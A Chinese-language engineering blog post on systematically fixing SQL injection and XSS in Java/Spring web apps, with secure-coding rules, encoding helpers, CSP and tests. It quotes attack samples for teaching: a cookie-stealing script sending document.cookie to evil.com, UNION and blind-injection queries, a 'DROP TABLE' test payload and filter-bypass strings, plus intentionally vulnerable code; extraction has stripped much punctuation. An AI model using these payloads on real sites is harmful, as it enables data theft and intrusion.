公司动态

【架构实战】SQL注入与XSS防御:常见Web漏洞的系统性修复

📅 2026/7/16 11:46:16
【架构实战】SQL注入与XSS防御:常见Web漏洞的系统性修复
SQL注入与XSS防御常见Web漏洞的系统性修复一、一次注入全库裸奔2024年某高校教务系统被黑攻击者用一条URL/api/student?id1 OR 11直接拖走全校3万学生的成绩单、身份证号、家庭住址。事后代码审查发现这条查询是这么写的// 灾难级代码StringsqlSELECT * FROM student WHERE id request.getParameter(id);没有预编译没有参数化没有校验——赤裸裸地把用户输入拼进SQL。同样某论坛被XSS攻击用户昵称设为scriptdocument.locationhttp://evil.com/?cdocument.cookie/script所有访问该用户主页的人Cookie被自动发送到攻击者服务器。这两类漏洞占比OWASP Top 10中SQL注入排第3XSS排第4。它们不是新问题但每年仍在大量系统中出现。二、SQL注入防御体系2.1 SQL注入原理与分类【注入原理】 用户输入 → 直接拼入SQL → 改变SQL语义 → 执行攻击者构造的SQL 【分类】 ┌─────────────────────────────────────┐ │ SQL注入类型 │ ├──────────────┬──────────────────────┤ │ 经典注入 │ UNION SELECT注入 │ │ │ 布尔盲注 │ │ │ 时间盲注 │ │ │ 报错注入 │ ├──────────────┼──────────────────────┤ │ 高级注入 │ 二次注入 │ │ │ 堆叠查询 │ │ │ 编码绕过 │ │ │ WAF绕过 │ ├──────────────┼──────────────────────┤ │ 特殊场景 │ ORM注入 │ │ │ 存储过程注入 │ │ │ NoSQL注入 │ └──────────────┴──────────────────────┘经典注入示例-- 正常查询SELECTname,emailFROMusersWHEREid1-- UNION注入拼接额外查询SELECTname,emailFROMusersWHEREid1UNIONSELECTpassword,secretFROMadmin-- 布尔盲注通过条件判断逐步提取数据SELECTnameFROMusersWHEREid1AND(SELECTLENGTH(password)FROMadminWHEREusernameroot)8-- 时间盲注无回显时用延迟判断SELECTnameFROMusersWHEREid1ANDIF(SUBSTRING(password,1,1)a,SLEEP(5),0)2.2 预编译参数化——第一道防线// 正确做法预编译 参数化ServicepublicclassStudentService{AutowiredprivateJdbcTemplatejdbcTemplate;// 1. 使用PreparedStatement最基本防御publicStudentfindById(Stringid){StringsqlSELECT * FROM student WHERE id ?;returnjdbcTemplate.queryForObject(sql,newBeanPropertyRowMapper(Student.class),id);}// 2. 批量查询同样参数化publicListStudentfindByClass(StringclassId){StringsqlSELECT * FROM student WHERE class_id ? AND status ?;returnjdbcTemplate.query(sql,newBeanPropertyRowMapper(Student.class),classId,ACTIVE);}// 3. 动态排序不能直接参数化ORDER BY需白名单校验publicListStudentlistStudents(StringorderBy,Stringdirection){// 白名单校验排序字段SetStringallowedFieldsSet.of(id,name,score,created_at);SetStringallowedDirsSet.of(ASC,DESC);if(!allowedFields.contains(orderBy)){orderByid;// 默认值}if(!allowedDirs.contains(direction.toUpperCase())){directionASC;}StringsqlString.format(SELECT * FROM student ORDER BY %s %s,orderBy,direction);returnjdbcTemplate.query(sql,newBeanPropertyRowMapper(Student.class));}}2.3 MyBatis安全配置!-- MyBatis安全用法 --!-- 1. 使用#{}而非${} --selectidfindByIdresultTypeStudentSELECT * FROM student WHERE id #{id}!-- 预编译安全 --/select!-- 2. ${}的危险性——直接拼入SQL --selectidfindByColumnresultTypeStudent!-- 错误示范 --SELECT * FROM student ORDER BY ${column}!-- 直接拼接可注入 --/select!-- 3. 动态SQL安全用法 --selectidsearchresultTypeStudentSELECT * FROM studentwhereiftestname ! nullAND name LIKE CONCAT(%, #{name}, %)!-- 参数化LIKE --/ififtestminScore ! nullAND score #{minScore}!-- 参数化范围 --/if/where/select关键规则#{}用于参数值预编译${}用于SQL结构列名/表名——后者必须白名单校验。2.4 ORM框架注入风险// JPA/Hibernate同样有注入风险EntitypublicclassStudent{...}// 安全用法Query(SELECT s FROM Student s WHERE s.id :id)// 参数化StudentfindById(Param(id)Stringid);// 危险用法Query(SELECT s FROM Student s WHERE s.classId ?1 ORDER BY ?2)// ?2注入ListStudentfindByClass(StringclassId,StringorderBy);// ORDER BY不能用参数化需要白名单校验// Spring Data JPA Specification安全的动态查询publicclassStudentSpecs{publicstaticSpecificationStudenthasName(Stringname){return(root,query,cb)-cb.like(root.get(name),%name%);// 自动参数化}}三、XSS防御体系3.1 XSS原理与分类【XSS分类】 ┌──────────────────────────────────────────┐ │ XSS攻击类型 │ ├───────────────┬─────────────────────────┤ │ 反射型XSS │ 攻击代码在URL参数中 │ │ │ 服务器直接返回给浏览器 │ ├───────────────┼─────────────────────────┤ │ 存储型XSS │ 攻击代码存入数据库 │ │ │ 每次访问页面都会触发 │ ├───────────────┼─────────────────────────┤ │ DOM型XSS │ 纯前端漏洞 │ │ │ JS直接操作DOM导致 │ └───────────────┴─────────────────────────┘存储型XSS危害最大攻击代码持久化存储每个访问者都会受害。// 反射型XSS示例// URL: /search?qscriptalert(document.cookie)/script// 服务器返回搜索结果scriptalert(document.cookie)/script// DOM型XSS示例// URL: /page#img srcx onerroralert(1)// 前端JSdocument.getElementById(content).innerHTML location.hash3.2 输出编码——XSS防御核心防御原则不是阻止输入而是安全输出。根据输出上下文选择不同的编码方式。// HTML上下文编码publicStringencodeHtml(Stringinput){returninput.replace(,amp;).replace(,lt;).replace(,gt;).replace(\,quot;).replace(,#x27;);}// JavaScript上下文编码更严格publicStringencodeJs(Stringinput){StringBuildersbnewStringBuilder();for(charc:input.toCharArray()){if(c0x20||c0x7e||c||c\||c\\||c){sb.append(String.format(\\x%02x,(int)c));}else{sb.append(c);}}returnsb.toString();}// URL上下文编码publicStringencodeUrl(Stringinput){returnURLEncoder.encode(input,UTF-8);}不同输出上下文的编码对照输出位置编码方式示例HTML标签间HTML实体编码div${encodeHtml(name)}/divHTML属性HTML属性编码input value${encodeHtml(val)}JavaScriptJS编码var name ${encodeJs(name)}URLURL编码a href/path?q${encodeUrl(q)}CSSCSS编码禁止直接插入用户输入到CSS3.3 Spring Security XSS防护// Spring Security内置XSS防护配置ConfigurationEnableWebSecuritypublicclassSecurityConfigextendsWebSecurityConfigurerAdapter{Overrideprotectedvoidconfigure(HttpSecurityhttp)throwsException{http// 1. XSS Header防护.headers().contentSecurityPolicy(default-src self; script-src self; style-src self).and().xssProtection().headerValue(XXssProtectionHeaderWriter.HeaderValue.ENABLED_MODE_BLOCK).and()// 2. CORS配置限制跨域来源.cors().configurationSource(corsConfigurationSource()).and()// 3. CSP内容安全策略.headers().addHeaderWriter(newStaticHeadersWriter(Content-Security-Policy,default-src self; script-src self nonce-{nonce}; object-src none; frame-src none));}}// 输入过滤全局XSS过滤器ComponentpublicclassXssFilterimplementsFilter{OverridepublicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain)throwsIOException,ServletException{chain.doFilter(newXssHttpServletRequestWrapper((HttpServletRequest)request),response);}}// HttpServletRequest包装器过滤所有参数publicclassXssHttpServletRequestWrapperextendsHttpServletRequestWrapper{OverridepublicStringgetParameter(Stringname){Stringvaluesuper.getParameter(name);returnvalue!null?cleanXss(value):null;}OverridepublicString[]getParameterValues(Stringname){String[]valuessuper.getParameterValues(name);if(valuesnull)returnnull;returnArrays.stream(values).map(this::cleanXss).toArray(String[]::new);}privateStringcleanXss(Stringvalue){// 移除危险标签valuevalue.replaceAll(script.*?.*?/script,);valuevalue.replaceAll(on\\w\\s*\\s*\.*?\,);valuevalue.replaceAll(javascript:,);returnvalue;}}3.4 前端XSS防护// React默认对JSX中的变量做HTML编码constnameuserInput;// 自动编码returndiv{name}/div;// 安全自动转义// 危险操作dangerouslySetInnerHTMLreturndiv dangerouslySetInnerHTML{{__html:rawHtml}}/;// 危险// 使用前必须对rawHtml做XSS清洗// DOMPurify清洗富文本importDOMPurifyfromdompurify;constcleanHtmlDOMPurify.sanitize(rawHtml);returndiv dangerouslySetInnerHTML{{__html:cleanHtml}}/;// 安全// Vuev-html同样危险div v-htmlrawHtml/div// 危险需要清洗div v-htmlsanitize(rawHtml)/div// 安全// CSP nonce方案最安全的动态脚本方式// 服务端生成nonce注入到CSP header和script标签constnoncegenerateNonce();// HTTP Header: Content-Security-Policy: script-src nonce-abc123// HTML: script nonceabc123.../script四、系统性修复方案4.1 安全编码规范【SQL注入防御规范】 1. 所有SQL查询必须使用预编译参数化#{}或PreparedStatement 2. 禁止${}拼接SQL结构列名、表名、ORDER BY 3. 动态SQL结构必须白名单校验 4. 禁止拼接用户输入到SQL 【XSS防御规范】 1. 所有用户输入输出前必须编码 2. 根据输出上下文选择正确的编码方式 3. 富文本必须使用白名单HTML清洗DOMPurify/Sanitize 4. 设置CSP Header限制脚本来源 5. Cookie设置HttpOnly和Secure标志4.2 自动化代码审计// SonarQube 自定义规则扫描SQL注入// 扫描所有拼接SQL的代码// 自定义规则检测字符串拼接SQLComponentpublicclassSqlInjectionDetectorRuleextendsAbstractJavaRule{OverridepublicvoidvisitNode(Treetree){// 检测 String request.getParameter() 模式if(isSqlConcatenation(tree)){addIssue(tree,SQL注入风险禁止字符串拼接SQL使用预编译参数化);}}}// 扫描配置sonarqube_rules:-SQL_CONCATENATION#SQL拼接检测-MYBATIS_DOLLAR_SIGN# ${}使用检测-XSS_UNSAFE_OUTPUT#XSS未编码输出检测-DANGEROUSLY_SET_HTML# dangerouslySetInnerHTML检测4.3 安全测试体系// 集成安全测试用例SpringBootTestpublicclassSecurityTestCase{AutowiredprivateStudentServicestudentService;// SQL注入测试TestpublicvoidtestSqlInjectionResistance(){// 常见注入payloadString[]payloads{1 OR 11,1; DROP TABLE student,1 UNION SELECT password FROM admin,1 AND 11,1/**/OR/**/11};for(Stringpayload:payloads){// 注入payload应被预编译处理不改变SQL语义StudentresultstudentService.findById(payload);// 应返回null或报错而非返回所有数据assertNotNull(resultnull||result.getId()null);}}// XSS编码测试TestpublicvoidtestXssEncoding(){StringxssPayloadscriptalert(1)/script;StringencodedxssEncoder.encodeHtml(xssPayload);assertFalse(encoded.contains(script));assertTrue(encoded.contains(lt;scriptgt;));}}五、防御对比与常见绕过5.1 防御层次对比防御层SQL注入XSS代码层预编译参数化输出编码框架层ORM/JPASpring Security FilterWAF层规则拦截注入特征CSP XSS Header运行层数据库权限最小化HttpOnly SameSite Cookie审计层SQL执行审计输出内容审计5.2 常见绕过手段与对策SQL注入绕过绕过方式示例对策编码绕过%27代替多层解码后检测注释绕过SEL/**/ECT去除注释后检测大小写混合sElEcT大小写规范化等价函数SUBSTR→MID→SUBSTRING覆盖所有等价写法宽字节%bf%27指定字符集编码XSS绕过绕过方式示例对策标签变形ScRiPt大小写规范化事件属性img onerroralert(1)禁止所有on*事件伪协议a hrefjavascript:alert(1)禁止javascript协议编码绕过#x3c;script#x3e;多层解码后检测SVG/MathMLsvg onloadalert(1)白名单HTML清洗六、实战从漏洞到修复的完整案例6.1 漏洞代码// 某论坛系统的用户搜索功能——同时存在SQL注入和XSSControllerpublicclassForumController{// SQL注入直接拼接用户输入publicListUsersearchUsers(Stringkeyword){StringsqlSELECT * FROM users WHERE nickname LIKE %keyword%;returnjdbcTemplate.query(sql,newBeanPropertyRowMapper(User.class));}// XSS直接输出用户昵称到HTMLpublicStringgetUserProfile(StringuserId){UseruseruserService.findById(userId);returndiv classprofileh2user.getNickname()/h2/div;}}6.2 修复代码ControllerpublicclassForumController{// SQL注入修复预编译参数化publicListUsersearchUsers(Stringkeyword){StringsqlSELECT * FROM users WHERE nickname LIKE CONCAT(%, ?, %);returnjdbcTemplate.query(sql,newBeanPropertyRowMapper(User.class),keyword);}// XSS修复输出编码 模板引擎自动编码publicStringgetUserProfile(StringuserId){UseruseruserService.findById(userId);// 使用Thymeleaf模板自动HTML编码returnprofile;// 渲染Thymeleaf模板}}// Thymeleaf模板自动编码// div classprofileh2 th:text${user.nickname}/h2/div七、总结SQL注入和XSS是最常见也最容易被修复的Web漏洞——修复成本很低但忽略的代价极高。核心要点SQL注入防御预编译参数化是唯一正确做法白名单校验动态SQL结构XSS防御根据输出上下文选择编码方式富文本用白名单清洗CSP作为兜底系统性修复安全编码规范 自动化审计 安全测试三层保障防御纵深代码层、框架层、WAF层、运行层、审计层多重防线永不过时这两类漏洞每年都在OWASP Top 10中没有借口忽略一句话总结预编译治注入编码治XSS白名单治动态纵深治绕过。作者架构实战团队日期2026-07-16标签#SQL注入 #XSS #Web安全 #预编译 #输出编码